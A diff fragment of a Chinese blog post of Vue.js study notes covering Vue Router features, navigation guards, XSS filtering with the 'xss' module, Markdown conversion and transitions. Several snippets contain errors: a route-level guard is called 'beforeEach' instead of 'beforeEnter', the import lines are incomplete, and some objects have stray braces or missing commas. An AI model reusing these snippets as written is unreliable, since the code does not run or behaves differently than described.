-</code></pre><p>在上面例子中props是对象形式，可以看到index组件就算props接收了id参数，但是因为其路由props设置了false，导致其route.query（router.params）没有设置为该组件的属性，因此没有id参数</p><p>routes.js</p><pre><code>{
-    path: &quot;/Home&quot;,         
-    name: &quot;Home&quot;,
-    component: Home,
-    props: (route) =&gt; ({id : route.query.id }) 
-},
-</code></pre><p>Home.vue</p><pre><code>&lt;template&gt;
-    &lt;div&gt;
-        hallo {{id}}
-    &lt;/div&gt;
-&lt;/template&gt;
-&lt;script&gt;
-export default {
-    props: ['id']
-}
-&lt;/script&gt;
-</code></pre><p>访问http://localhost:8080/Home?id=123，Home输出123</p><p>上面例子中route.query.id就是当前query（id=123），将其传入到id中，然后模板接收</p><p>注意：函数模式请不要用于多组件components中，在多组件components中，需要给除default外的组件设置router-view的name属性</p><hr><p>导航守卫（导航守卫实质上就是路由跳转时的钩子函数，守卫是异步执行的）</p><p>全局前置守卫：beforeEach</p><p>router.beforeEach((to,form)=>{ return false})</p><p>守卫接收2个参数，to是跳转的目标路由，form是跳转离开的路由，返回值如果为false时，表示取消当前导航，当返回值为路由地址时，会跳转到该路由地址，还有一个next()可选参数，该可选参数表示放行</p><p>当next(false)时，表示取消当前导航，当next(&rsquo;/Home&rsquo;)时，会跳转到/Home（和router.push类似）</p><p>如果守卫抛出Error时，取消导航并且调用router.onError()</p><p>守卫正常时是undefined或返回true</p><p>例如：</p><p>routes.js</p><pre><code>const router = createRouter({
-    history: createWebHistory(),
-    routes: routes
-})
-router.beforeEach((to, from, next) =&gt; {
-    if (to.name !== &quot;Home&quot;) {
-        next({
-            name: 'Home'
-        })
-    } else {
-        next()
-    }
-})
-</code></pre><p>像上面的例子中，全局路由守卫将会监听要跳转的路由的name属性是否为Home，如果不是Home就会调用next()方法跳转到name为Home的路由，如果是Home的话守卫放行</p><p>全局解析守卫：beforeResolve</p><p>全局解析守卫和全局前置守卫类似，都是路由跳转前调用，但是beforeResolve会在beforeEach（全局前置守卫）和beforeRouteEnter（组件路由守卫）之后触发，afterEach（全局后置守卫）之前触发</p><pre><code>router.beforeResolve((to, from, next) =&gt; {
-    if (to.name !== &quot;Home&quot;) {
-        next({
-            name: 'Home'
-        })
-    } else {
-        next()
-    }
-})
-</code></pre><p>可以看到效果和beforeEach一样</p><p>全局后置守卫：afterEach（没有next()，全局后置守卫顾名思义，就是路由跳转后触发）</p><pre><code>router.afterEach((to, from) =&gt; {
-    console.log(to.name)
-    console.log(from.name)
-})
-</code></pre><p>路由独享的守卫beforeEach（在路由内部定义的beforeEach守卫）</p><pre><code>{
-    path: &quot;/Home&quot;,         
-    name: &quot;Home&quot;,
-    component: Home,
-    beforeEach: (to,from) =&gt;{
-        if (to.name !== &quot;Home&quot;) {
-            next({
-                name: 'Home'
-            })
-        } else {
-            next()
-        }
-    }
-},
-</code></pre><p>路由独享的守卫beforeEach只在进入路由时触发（params，query，hash改变并不会触发）</p><p>组件路由守卫：beforeRouteEnter，beforeRouteUpdate，beforeRouteLeave</p><p>beforeRouteEnter：在渲染该组件时对应的路由被确定前触发，在该守卫触发时，组件实例未被创建，因此不能获取组件实例的任何东西</p><p>beforeRouteUpdate：当前路由发送改变，但是该组件又被复用时触发，比如传参，只是改变参数，但是复用了当前组件，该守卫触发时，组件实例已被挂载，可访问组件实例</p><p>beforeRouteLeave：当导航离开渲染该组件的路由时触发，可访问组件实例</p><p>例如：</p><p>Home.vue</p><pre><code>export default {
-    beforeRouteEnter(to, from, next) {
-        next(vm =&gt;{
-            console.log(vm) // 可以看到vm是组件实例，说明可以通过next来访问组件实例，next()会在导航被确认时被回调
-        })
-    },
-    beforeRouteUpdate(to, from, next) {
-        if (to.name !== &quot;Home&quot;) {
-            next({
-                name: 'Home'
-            })
-        } else {
-            next({
-                name: 'User'
-            })
-        }
-        console.log(to.name)
-        console.log(from.name)
-    },
-    beforeRouteLeave(to, from, next) {
-        if(to.name !==&quot;Home&quot;){
-            if(confirm('您的信息还未保存，确定要离开吗？') == true){
-                next()
-            }else{
-                next(false)
-            }
-        }
-        console.log(to.name)
-        console.log(from.name)
-    },
-}
-</code></pre><p>路由元信息（路由meta字段属性）</p><pre><code>{
-    path: &quot;/Home&quot;,         
-    name: &quot;Home&quot;,
-    component: Home,
-    meta: { ha: false }
-    }
-},
-
-router.beforeEach((to, from, next) =&gt; {
-    if (to.name == 'Home' &amp;&amp; to.meta.ha){
-        next()
-    }else{
-      next(false)
-    }
-})
-</code></pre><p>路由懒加载（动态导入）</p><pre><code>const User = () =&gt; import('./components/User.vue')
-const routes = [{ 
-    path: '/User', 
-    name: 'User'
-    component: User 
-}]
-</code></pre><p>动态路由</p><pre><code>const routes = [{ 
-    path: '/:id', 
-    name: 'User'
-    component: User 
-}]
-const router = createRouter({
-    history: createWebHistory(),
-    routes: routes
-})
-router.addRoute({ path: '/Home',name: 'Home', component: Home }) // 添加路由
-router.removeRoute('Home') // 删除路由
-</code></pre><p>注意：当路由被删除时，路由别名和子路由同时也被删除</p><p>不只是在路由router中设置，还可以在路由守卫设置，而且当2个addRoute路由的name重名时，也会触发删除路由，当路由没有name属性时，可通过定义回调函数，让其重新添加路由（实质上是删除路由，因为重复了）,例如：</p><pre><code>const RoutesData = router.addRoute(path: '/Index', component: Home )
-RoutesData()
-</code></pre><p>嵌套路由</p><pre><code>router.addRoute({  path: '/User', name: 'User', component: User })
-router.addRoute('User', { path: 'Admin', component: Home })
-</code></pre><hr><p>vue中解决xss脚本攻击（依赖于xss模块）</p><p>npm install xss &ndash;save</p><p>引用xss模块</p><pre><code>import xss from 'xss'
-Object.defineProperty(Vue.prototype, '$xss', {
-    value: xss
-})
-</code></pre><p>在评论框或者其他输入框等等要针对免疫xss地方使用$xss()方法</p><p>自定义拦截规则</p><p>在data字段，return字段下设置白名单，格式就是标签名加属性，只要不是白名单的标签和属性，就是会被过滤掉</p><pre><code>options : {
-    whiteList: {
-        a: ['href', 'title'],
-        div: ['class']
-      }
-}
-</code></pre><hr><p>vue中解决html和Markdown转换</p><p>MarkdownToHtml（处理md转换为html）</p><p>npm install showdown &ndash;save</p><p>使用方法：</p><pre><code>import showdown
-let converter = new showdown.Converter()
-let text = '# hallo word' // md格式的文本
-let html = converter.makeHtml(text)
-</code></pre><p>HtmlToMarkdown（处理html转换为md）</p><p>npm install turndown &ndash;save</p><p>使用方法：</p><pre><code>import turndown
-let turndownService = new turndown()
-let markdown = turndownService.turndown('&lt;h1&gt;hallo word&lt;/h1&gt;')
-</code></pre><hr><p>vuejs是声明式视图层框架，视图层框架分为命令式和声明式两种，命令式关注过程，声明式关注结果，命令式的代码描述了工作过程，而声明式的代码只声明，结果由框架来提供</p><p>vuejs内部实现肯定是命令式的，但是进行封装了工作过程，对外暴露的是声明式，声明式的性能并没有命令式的性能优，因为命令式的工作流程一目了然，去除或者添加某个功能，理论上能做到最优性能</p><p>而声明式只关注了结果，需要查找前后代码的差异（虚拟dom+diff算法），然后再更新，vuejs选择声明式的方案是为了可维性，不需要关心工作过程，只需要关注结果就好了</p><p>虚拟DOM对比innerHTML操作DOM</p><p>创建DOM：虚拟DOM和innerHTML操作DOM都是创建所有DOM元素，因此虚拟DOM和innerHTML操作DOM基本上性能是一致的（DOM层计算）</p><p>更新DOM：innerHTML操作DOM更新是先重新创建HTML字符串，然后再更新DOM元素（销毁旧的DOM元素，重新创建一个完整的DOM元素），而虚拟DOM是通过创建新的JavaScript对象，然后前后俩个JavaScript对象进行DIff比较，得到差异，只更新差异</p><p>不难看出，虚拟DOM的优势在于更新DOM</p><p>渲染器的作用就是将虚拟DOM（JavaScript对象）渲染成真实的DOM</p><p>渲染器将JavaScript对象的值获得，并且以原生JavaScript方式渲染出来，当tag为字符串时，渲染标签元素，如果是函数（或者对象）那么表示该是组件，组件函数返回值本身就是虚拟DOM，如果是对象的话，获取对象的render函数，得到其返回值（这个实质上也是虚拟DOM），编译器（模板）原理上和渲染器是一样的</p><hr><p>transition（过渡和动画）</p><p>过渡：元素属性从一个属性过渡为另一个属性，例如元素的背景颜色从黑色过渡到白色</p><p>动画：一个元素从一个地方移动到另一个地方</p><p>vue内置了组件和API来完成动画和过渡</p><p>过渡：</p><pre><code>const app = Vue.createApp({
-    data(){
-        return {
-            ishallo: false
-        }
-    },
-    methods:{
-        onhalloClick(){
-            this.ishallo = ! this.ishallo
-        }
-    },
-    template: `  
-        &lt;button @click='onhalloClick'&gt;点我隐藏/显示&lt;/button&gt;
-        &lt;transition&gt;
-            &lt;div v-if=&quot;ishallo&quot;&gt;hallo word&lt;/div&gt;
-        &lt;/transition&gt;
-    `
-})
-const vm = app.mount(&quot;#app&quot;)
-</code></pre><p>动画</p><p>vue</p><pre><code>const app = Vue.createApp({
-    data(){
-        return {
-            ishallo: false
-        }
-    },
-    template: `  
-        &lt;div :class='{ hallo: ishallo }'&gt;
-            &lt;button @click='ishallo = true'&gt;点我触发动画&lt;/button&gt;
-            &lt;div v-if=&quot;ishallo&quot;&gt;hallo word&lt;/div&gt;
-        &lt;/div&gt;
-    `
-})
-const vm = app.mount(&quot;#app&quot;)
-</code></pre><p>css样式</p><pre><code>.hallo {
-    animation: hallo 1s linear
-}
-@keyframes hallo {
-    0% {
-        transform: translate3d(0px, 0, 0)
-    }
-    10% {
-        transform: translate3d(-2px, 0, 0)
-    }
-    60% {
-        transform: translate3d(2px, 0, 0)
-    }
-    100% {
-        transform: translate3d(0px, 0, 0)
-    }
-}
-</code></pre><p>硬件加速：使用了perspective，backface-visibility和transform: translateZ()都可以触发硬件加速</p><p>解决过渡和动画时间不一致</p><p>，当使用该属性，动画结束，过渡会跟着结束</p><p>，当使用该属性，过渡结束，动画会跟着结束</p><p>统一管理动画和过渡时间</p><p>，该属性值单位为毫秒，意思为1秒后结束动画和过渡</p><p>，enter为进入动画和过渡时间，leave为离开动画和过渡时间</p><p>transition内置组件在一个过渡周期会触发6个状态，分别是v-enter-from，v-enter-active，v-enter-to，v-leave-from，v-leave-active，v-leave-to</p><p>v-enter-from：表示过渡的开始状态，元素插入之前触发，元素插入后的下一帧移除</p><p>v-enter-active：表示过渡生效时状态，在元素插入之前触发，在动画和过渡完成后移除</p><p>v-enter-to：表示过渡的结束状态，在元素插入后下一帧触发，在动画和过渡完成后移除</p><p>v-leave-from：表示离开过渡的开始状态，离开过渡时立即触发，下一帧后移除</p><p>v-leave-active：表示离开过渡的生效状态，离开过渡时立即触发，在动画和过渡完成后移除</p><p>v-leave-to：表示离开过渡的结束状态，离开过渡后下一帧触发，在动画和过渡完成后移除</p><p>用法：</p><pre><code>const app = Vue.createApp({
-    data(){
-        return {
-            ishallo: false
-        }
-    },
-    template: `  
-        &lt;transition&gt;
-            &lt;button @click='ishallo = true'&gt;点我触发动画&lt;/button&gt;
-            &lt;div v-if=&quot;ishallo&quot;&gt;hallo word&lt;/div&gt;
-        &lt;/transition&gt;
-    `
-})
-const vm = app.mount(&quot;#app&quot;)
-</code></pre><p>样式</p><pre><code>.v-enter-active{
-    animation: hallo 1s; // 表示入场时触发时hallo动画
-}
-.v-leave-active{
-    animation: hallo 1s;  // 表示出场时触发时hallo动画
-}
-@keyframes hallo {
-    0% {
-        transform: translate3d(0px, 0, 0)
-    }
-    10% {
-        transform: translate3d(-2px, 0, 0)
-    }
-    60% {
-        transform: translate3d(2px, 0, 0)
-    }
-    100% {
-        transform: translate3d(0px, 0, 0)
-    }
-}
-</code></pre><p>关闭css动画：，使用该属性表示将通过组件事件来触发动画，不再使用css动画了</p><p>过渡模式：，该属性有2个值，out-in和in-out，默认同时进行</p><p>out-in：当前元素先进行过渡，完成后新元素过渡进入</p><p>in-out：新元素先进行过渡，完成后当前元素过渡离开</p><p>该常用于动态组件的切换过渡，也是说out-in是当前元素先进行过渡，切换到新元素时，过渡进入，而in-out是新元素过渡，切换到当前元素时过渡离开</p><p>name属性：，该属性表示自动生成css过渡类名，像例子中的，将生成为.hallo-enter等等，就是将过渡周期中的6个状态的v改成name属性值了</p><hr><p>vue devtools调试工具</p><p>下载https://github.com/vuejs/vue-devtools</p><p>解压，并且在该目录执行npm install</p><p>修改manifest.json（该文件在项目目录的packages/shell-chrome），将persistent改为true</p><p>打包npm run build</p><p>以谷歌浏览器为例子，加载已解压的扩展程序，选择刚刚打包的目录的packages/shell-chrome文件夹</p><p>vue3引入了tree-shaking技术，当没有在项目中使用某个模块时，那么该模块的代码将不会出现在打包中</p><p>vue3抛弃了Object.defineProperty，改用Proxy来做数据的响应式</p><p>vue3不再使用src托管，而采用monorepo管理</p><p>vue3采用typescript编写源码，对typescript的兼容更好，vue2使用的是flow来处理类型检查</p><p>vue3提供了Composition API，对于逻辑复用支持更好</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/vuejs/>vuejs</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/74/><span class=title>« Prev</span><br><span>NextJS学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/73/><span class=title>Next »</span><br><span>gulp学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+router.go(2)</p><p>返回n条记录（后退2页面）</p><p>router.go(-2)</p><p>例如：</p><p>App.vue</p><pre><code>import {useRouter} from 'vue-router'
+export default{
+  setup(){
+    const router = useRouter()
+    let goAdmin = () =&gt;{
+      router.go(2)
+    }
+    return{
+      goAdmin
+    }
+  }
+}
+</code></pre><p>路由的name属性的作用：</p><p>除了像这样用外Go</p><p>还可以用name属性指向一个路由的path，防止路由地址写错，设置params属性给模板接收参数（这个参数不会作用于URL），Go</p><p>当需要在同级下渲染多个router-view，如何确保其router-view渲染的是自己想要的，利用router-view的name属性（该属性默认值为default）</p><p>App.vue</p><p></p><p>router.js</p><pre><code>import User from './components/User.vue' 
+import A from './components/a.vue'   
+import B from './components/b.vue'   
+import C from './components/c.vue' 
+const routes = [ 
+    {
+        path: '/User',
+        name: 'User',
+        components:{
+          default: User,
+          a:A,
+          b:B,
+          c:C
+        }
+    }
+]
+const router = createRouter({
+    history: createWebHashHistory(),
+    routes: routes
+})
+export default router
+</code></pre><p>访问http://localhost:8080/User，可以看到渲染出了a组件，b组件，c组件</p><p>其中router.js的小写a就是指向了router-view的name属性，大写的A就是组件，和name属性对应上（键值对），将其对应渲染到相应的router-view中</p><p>components属性为多组件配置</p><p>重定向（当希望访问到某个路由时，能跳转到另一个路由时）</p><pre><code>const routes = [ 
+    {
+        path: &quot;/Home&quot;,         
+        name: &quot;Home&quot;,
+        redirect: '/',  
+        components: {
+            default: Home
+        }
+    }
+]
+</code></pre><p>访问http://localhost:8080/Home</p><p>设置还可以指向一个路由的name属性，const routes = [{ path: &lsquo;/Home&rsquo;, redirect: { name: &lsquo;User&rsquo; } }]</p><p>另外如果一个路由使用了redirect重定向，那么是可以不用写component了，因为不会真正访问到（访问到就重定向到另一个路由了），但是存在子路由时就需要写component了</p><p>当重定向发生时，也需要传递参数到重定向时，例如：</p><pre><code>{
+    path: '/User/:id',
+    name: 'User',
+    components:{
+      default: User,
+    } ,
+    redirect: to =&gt;{
+      return { path: '/', query: { id: to.params.id } }
+    }
+}
+</code></pre><p>当访问http://localhost:8080/User/123时，会重定向到http://localhost:8080/?id=123，如果/User/123的123，被传到query了，另外还可以在重定向的目标组件模板用{{$route.query.id}}获取到该参数</p><p>重定向别名</p><pre><code>{
+    path: &quot;/Home&quot;,         
+    name: &quot;Home&quot;,
+    components: {
+        default: Home,
+    },
+    alias: '/User',
+}
+</code></pre><p>别名就是访问http://localhost:8080/User/时，实质上是访问/Home这个路由，和redirect的区别就是，redirect会改变URL，而alias不会改变URL</p><p>利用子路由来给多路由匹配组件</p><pre><code>{
+    path: &quot;/Home/:id&quot;,         
+    name: &quot;Home&quot;,
+    component: Home,
+    children: [
+        { 
+            path: '', 
+            component: Homea, 
+            alias: [':id','admin', '/User'] 
+        },
+    ]
+}
+</code></pre><p>当访问http://localhost:8080/Home/123，http://localhost:8080/Home/admin，http://localhost:8080/User时，渲染的是Home组件</p><p>路由props传参（通过props接收参数）</p><p>routes.js</p><pre><code>{
+    path: '/hallo/:id',
+    component: Home,
+    props: true
+}
+</code></pre><p>Home.vue</p><pre><code>&lt;template&gt;
+    &lt;div&gt;
+        hallo {{id}}
+    &lt;/div&gt;
+&lt;/template&gt;
+&lt;script&gt;
+export default {
+    props: ['id']
+}
+&lt;/script&gt;
+</code></pre><p>当props为true时，其route.query（router.params）将被设置为该组件的属性，可直接访问其参数</p><p>对于有命名视图的路由，必须为每个命名视图定义props配置，例如：</p><pre><code>{
+    path: &quot;/Home/:id&quot;,         
+    name: &quot;Home&quot;,
+    components: {
+        default: Home,
+        index: Index
+    },
+    props:{
+        default: true, 
+        index: false
+    },      
+},
+</code></pre><p>在上面例子中props是对象形式，可以看到index组件就算props接收了id参数，但是因为其路由props设置了false，导致其route.query（router.params）没有设置为该组件的属性，因此没有id参数</p><p>routes.js</p><pre><code>{
+    path: &quot;/Home&quot;,         
+    name: &quot;Home&quot;,
+    component: Home,
+    props: (route) =&gt; ({id : route.query.id }) 
+},
+</code></pre><p>Home.vue</p><pre><code>&lt;template&gt;
+    &lt;div&gt;
+        hallo {{id}}
+    &lt;/div&gt;
+&lt;/template&gt;
+&lt;script&gt;
+export default {
+    props: ['id']
+}
+&lt;/script&gt;
+</code></pre><p>访问http://localhost:8080/Home?id=123，Home输出123</p><p>上面例子中route.query.id就是当前query（id=123），将其传入到id中，然后模板接收</p><p>注意：函数模式请不要用于多组件components中，在多组件components中，需要给除default外的组件设置router-view的name属性</p><hr><p>导航守卫（导航守卫实质上就是路由跳转时的钩子函数，守卫是异步执行的）</p><p>全局前置守卫：beforeEach</p><p>router.beforeEach((to,form)=>{ return false})</p><p>守卫接收2个参数，to是跳转的目标路由，form是跳转离开的路由，返回值如果为false时，表示取消当前导航，当返回值为路由地址时，会跳转到该路由地址，还有一个next()可选参数，该可选参数表示放行</p><p>当next(false)时，表示取消当前导航，当next(&rsquo;/Home&rsquo;)时，会跳转到/Home（和router.push类似）</p><p>如果守卫抛出Error时，取消导航并且调用router.onError()</p><p>守卫正常时是undefined或返回true</p><p>例如：</p><p>routes.js</p><pre><code>const router = createRouter({
+    history: createWebHistory(),
+    routes: routes
+})
+router.beforeEach((to, from, next) =&gt; {
+    if (to.name !== &quot;Home&quot;) {
+        next({
+            name: 'Home'
+        })
+    } else {
+        next()
+    }
+})
+</code></pre><p>像上面的例子中，全局路由守卫将会监听要跳转的路由的name属性是否为Home，如果不是Home就会调用next()方法跳转到name为Home的路由，如果是Home的话守卫放行</p><p>全局解析守卫：beforeResolve</p><p>全局解析守卫和全局前置守卫类似，都是路由跳转前调用，但是beforeResolve会在beforeEach（全局前置守卫）和beforeRouteEnter（组件路由守卫）之后触发，afterEach（全局后置守卫）之前触发</p><pre><code>router.beforeResolve((to, from, next) =&gt; {
+    if (to.name !== &quot;Home&quot;) {
+        next({
+            name: 'Home'
+        })
+    } else {
+        next()
+    }
+})
+</code></pre><p>可以看到效果和beforeEach一样</p><p>全局后置守卫：afterEach（没有next()，全局后置守卫顾名思义，就是路由跳转后触发）</p><pre><code>router.afterEach((to, from) =&gt; {
+    console.log(to.name)
+    console.log(from.name)
+})
+</code></pre><p>路由独享的守卫beforeEach（在路由内部定义的beforeEach守卫）</p><pre><code>{
+    path: &quot;/Home&quot;,         
+    name: &quot;Home&quot;,
+    component: Home,
+    beforeEach: (to,from) =&gt;{
+        if (to.name !== &quot;Home&quot;) {
+            next({
+                name: 'Home'
+            })
+        } else {
+            next()
+        }
+    }
+},
+</code></pre><p>路由独享的守卫beforeEach只在进入路由时触发（params，query，hash改变并不会触发）</p><p>组件路由守卫：beforeRouteEnter，beforeRouteUpdate，beforeRouteLeave</p><p>beforeRouteEnter：在渲染该组件时对应的路由被确定前触发，在该守卫触发时，组件实例未被创建，因此不能获取组件实例的任何东西</p><p>beforeRouteUpdate：当前路由发送改变，但是该组件又被复用时触发，比如传参，只是改变参数，但是复用了当前组件，该守卫触发时，组件实例已被挂载，可访问组件实例</p><p>beforeRouteLeave：当导航离开渲染该组件的路由时触发，可访问组件实例</p><p>例如：</p><p>Home.vue</p><pre><code>export default {
+    beforeRouteEnter(to, from, next) {
+        next(vm =&gt;{
+            console.log(vm) // 可以看到vm是组件实例，说明可以通过next来访问组件实例，next()会在导航被确认时被回调
+        })
+    },
+    beforeRouteUpdate(to, from, next) {
+        if (to.name !== &quot;Home&quot;) {
+            next({
+                name: 'Home'
+            })
+        } else {
+            next({
+                name: 'User'
+            })
+        }
+        console.log(to.name)
+        console.log(from.name)
+    },
+    beforeRouteLeave(to, from, next) {
+        if(to.name !==&quot;Home&quot;){
+            if(confirm('您的信息还未保存，确定要离开吗？') == true){
+                next()
+            }else{
+                next(false)
+            }
+        }
+        console.log(to.name)
+        console.log(from.name)
+    },
+}
+</code></pre><p>路由元信息（路由meta字段属性）</p><pre><code>{
+    path: &quot;/Home&quot;,         
+    name: &quot;Home&quot;,
+    component: Home,
+    meta: { ha: false }
+    }
+},
+
+router.beforeEach((to, from, next) =&gt; {
+    if (to.name == 'Home' &amp;&amp; to.meta.ha){
+        next()
+    }else{
+      next(false)
+    }
+})
+</code></pre><p>路由懒加载（动态导入）</p><pre><code>const User = () =&gt; import('./components/User.vue')
+const routes = [{ 
+    path: '/User', 
+    name: 'User'
+    component: User 
+}]
+</code></pre><p>动态路由</p><pre><code>const routes = [{ 
+    path: '/:id', 
+    name: 'User'
+    component: User 
+}]
+const router = createRouter({
+    history: createWebHistory(),
+    routes: routes
+})
+router.addRoute({ path: '/Home',name: 'Home', component: Home }) // 添加路由
+router.removeRoute('Home') // 删除路由
+</code></pre><p>注意：当路由被删除时，路由别名和子路由同时也被删除</p><p>不只是在路由router中设置，还可以在路由守卫设置，而且当2个addRoute路由的name重名时，也会触发删除路由，当路由没有name属性时，可通过定义回调函数，让其重新添加路由（实质上是删除路由，因为重复了）,例如：</p><pre><code>const RoutesData = router.addRoute(path: '/Index', component: Home )
+RoutesData()
+</code></pre><p>嵌套路由</p><pre><code>router.addRoute({  path: '/User', name: 'User', component: User })
+router.addRoute('User', { path: 'Admin', component: Home })
+</code></pre><hr><p>vue中解决xss脚本攻击（依赖于xss模块）</p><p>npm install xss &ndash;save</p><p>引用xss模块</p><pre><code>import xss from 'xss'
+Object.defineProperty(Vue.prototype, '$xss', {
+    value: xss
+})
+</code></pre><p>在评论框或者其他输入框等等要针对免疫xss地方使用$xss()方法</p><p>自定义拦截规则</p><p>在data字段，return字段下设置白名单，格式就是标签名加属性，只要不是白名单的标签和属性，就是会被过滤掉</p><pre><code>options : {
+    whiteList: {
+        a: ['href', 'title'],
+        div: ['class']
+      }
+}
+</code></pre><hr><p>vue中解决html和Markdown转换</p><p>MarkdownToHtml（处理md转换为html）</p><p>npm install showdown &ndash;save</p><p>使用方法：</p><pre><code>import showdown
+let converter = new showdown.Converter()
+let text = '# hallo word' // md格式的文本
+let html = converter.makeHtml(text)
+</code></pre><p>HtmlToMarkdown（处理html转换为md）</p><p>npm install turndown &ndash;save</p><p>使用方法：</p><pre><code>import turndown
+let turndownService = new turndown()
+let markdown = turndownService.turndown('&lt;h1&gt;hallo word&lt;/h1&gt;')
+</code></pre><hr><p>vuejs是声明式视图层框架，视图层框架分为命令式和声明式两种，命令式关注过程，声明式关注结果，命令式的代码描述了工作过程，而声明式的代码只声明，结果由框架来提供</p><p>vuejs内部实现肯定是命令式的，但是进行封装了工作过程，对外暴露的是声明式，声明式的性能并没有命令式的性能优，因为命令式的工作流程一目了然，去除或者添加某个功能，理论上能做到最优性能</p><p>而声明式只关注了结果，需要查找前后代码的差异（虚拟dom+diff算法），然后再更新，vuejs选择声明式的方案是为了可维性，不需要关心工作过程，只需要关注结果就好了</p><p>虚拟DOM对比innerHTML操作DOM</p><p>创建DOM：虚拟DOM和innerHTML操作DOM都是创建所有DOM元素，因此虚拟DOM和innerHTML操作DOM基本上性能是一致的（DOM层计算）</p><p>更新DOM：innerHTML操作DOM更新是先重新创建HTML字符串，然后再更新DOM元素（销毁旧的DOM元素，重新创建一个完整的DOM元素），而虚拟DOM是通过创建新的JavaScript对象，然后前后俩个JavaScript对象进行DIff比较，得到差异，只更新差异</p><p>不难看出，虚拟DOM的优势在于更新DOM</p><p>渲染器的作用就是将虚拟DOM（JavaScript对象）渲染成真实的DOM</p><p>渲染器将JavaScript对象的值获得，并且以原生JavaScript方式渲染出来，当tag为字符串时，渲染标签元素，如果是函数（或者对象）那么表示该是组件，组件函数返回值本身就是虚拟DOM，如果是对象的话，获取对象的render函数，得到其返回值（这个实质上也是虚拟DOM），编译器（模板）原理上和渲染器是一样的</p><hr><p>transition（过渡和动画）</p><p>过渡：元素属性从一个属性过渡为另一个属性，例如元素的背景颜色从黑色过渡到白色</p><p>动画：一个元素从一个地方移动到另一个地方</p><p>vue内置了组件和API来完成动画和过渡</p><p>过渡：</p><pre><code>const app = Vue.createApp({
+    data(){
+        return {
+            ishallo: false
+        }
+    },
+    methods:{
+        onhalloClick(){
+            this.ishallo = ! this.ishallo
+        }
+    },
+    template: `  
+        &lt;button @click='onhalloClick'&gt;点我隐藏/显示&lt;/button&gt;
+        &lt;transition&gt;
+            &lt;div v-if=&quot;ishallo&quot;&gt;hallo word&lt;/div&gt;
+        &lt;/transition&gt;
+    `
+})
+const vm = app.mount(&quot;#app&quot;)
+</code></pre><p>动画</p><p>vue</p><pre><code>const app = Vue.createApp({
+    data(){
+        return {
+            ishallo: false
+        }
+    },
+    template: `  
+        &lt;div :class='{ hallo: ishallo }'&gt;
+            &lt;button @click='ishallo = true'&gt;点我触发动画&lt;/button&gt;
+            &lt;div v-if=&quot;ishallo&quot;&gt;hallo word&lt;/div&gt;
+        &lt;/div&gt;
+    `
+})
+const vm = app.mount(&quot;#app&quot;)
+</code></pre><p>css样式</p><pre><code>.hallo {
+    animation: hallo 1s linear
+}
+@keyframes hallo {
+    0% {
+        transform: translate3d(0px, 0, 0)
+    }
+    10% {
+        transform: translate3d(-2px, 0, 0)
+    }
+    60% {
+        transform: translate3d(2px, 0, 0)
+    }
+    100% {
+        transform: translate3d(0px, 0, 0)
+    }
+}
+</code></pre><p>硬件加速：使用了perspective，backface-visibility和transform: translateZ()都可以触发硬件加速</p><p>解决过渡和动画时间不一致</p><p>，当使用该属性，动画结束，过渡会跟着结束</p><p>，当使用该属性，过渡结束，动画会跟着结束</p><p>统一管理动画和过渡时间</p><p>，该属性值单位为毫秒，意思为1秒后结束动画和过渡</p><p>，enter为进入动画和过渡时间，leave为离开动画和过渡时间</p><p>transition内置组件在一个过渡周期会触发6个状态，分别是v-enter-from，v-enter-active，v-enter-to，v-leave-from，v-leave-active，v-leave-to</p><p>v-enter-from：表示过渡的开始状态，元素插入之前触发，元素插入后的下一帧移除</p><p>v-enter-active：表示过渡生效时状态，在元素插入之前触发，在动画和过渡完成后移除</p><p>v-enter-to：表示过渡的结束状态，在元素插入后下一帧触发，在动画和过渡完成后移除</p><p>v-leave-from：表示离开过渡的开始状态，离开过渡时立即触发，下一帧后移除</p><p>v-leave-active：表示离开过渡的生效状态，离开过渡时立即触发，在动画和过渡完成后移除</p><p>v-leave-to：表示离开过渡的结束状态，离开过渡后下一帧触发，在动画和过渡完成后移除</p><p>用法：</p><pre><code>const app = Vue.createApp({
+    data(){
+        return {
+            ishallo: false
+        }
+    },
+    template: `  
+        &lt;transition&gt;
+            &lt;button @click='ishallo = true'&gt;点我触发动画&lt;/button&gt;
+            &lt;div v-if=&quot;ishallo&quot;&gt;hallo word&lt;/div&gt;
+        &lt;/transition&gt;
+    `
+})
+const vm = app.mount(&quot;#app&quot;)
+</code></pre><p>样式</p><pre><code>.v-enter-active{
+    animation: hallo 1s; // 表示入场时触发时hallo动画
+}
+.v-leave-active{
+    animation: hallo 1s;  // 表示出场时触发时hallo动画
+}
+@keyframes hallo {
+    0% {
+        transform: translate3d(0px, 0, 0)
+    }
+    10% {
+        transform: translate3d(-2px, 0, 0)
+    }
+    60% {
+        transform: translate3d(2px, 0, 0)
+    }
+    100% {
+        transform: translate3d(0px, 0, 0)
+    }
+}
+</code></pre><p>关闭css动画：，使用该属性表示将通过组件事件来触发动画，不再使用css动画了</p><p>过渡模式：，该属性有2个值，out-in和in-out，默认同时进行</p><p>out-in：当前元素先进行过渡，完成后新元素过渡进入</p><p>in-out：新元素先进行过渡，完成后当前元素过渡离开</p><p>该常用于动态组件的切换过渡，也是说out-in是当前元素先进行过渡，切换到新元素时，过渡进入，而in-out是新元素过渡，切换到当前元素时过渡离开</p><p>name属性：，该属性表示自动生成css过渡类名，像例子中的，将生成为.hallo-enter等等，就是将过渡周期中的6个状态的v改成name属性值了</p><hr><p>vue devtools调试工具</p><p>下载https://github.com/vuejs/vue-devtools</p><p>解压，并且在该目录执行npm install</p><p>修改manifest.json（该文件在项目目录的packages/shell-chrome），将persistent改为true</p><p>打包npm run build</p><p>以谷歌浏览器为例子，加载已解压的扩展程序，选择刚刚打包的目录的packages/shell-chrome文件夹</p><p>vue3引入了tree-shaking技术，当没有在项目中使用某个模块时，那么该模块的代码将不会出现在打包中</p><p>vue3抛弃了Object.defineProperty，改用Proxy来做数据的响应式</p><p>vue3不再使用src托管，而采用monorepo管理</p><p>vue3采用typescript编写源码，对typescript的兼容更好，vue2使用的是flow来处理类型检查</p><p>vue3提供了Composition API，对于逻辑复用支持更好</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/vuejs/>vuejs</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/74/><span class=title>« Prev</span><br><span>NextJS学习笔记</span></a>
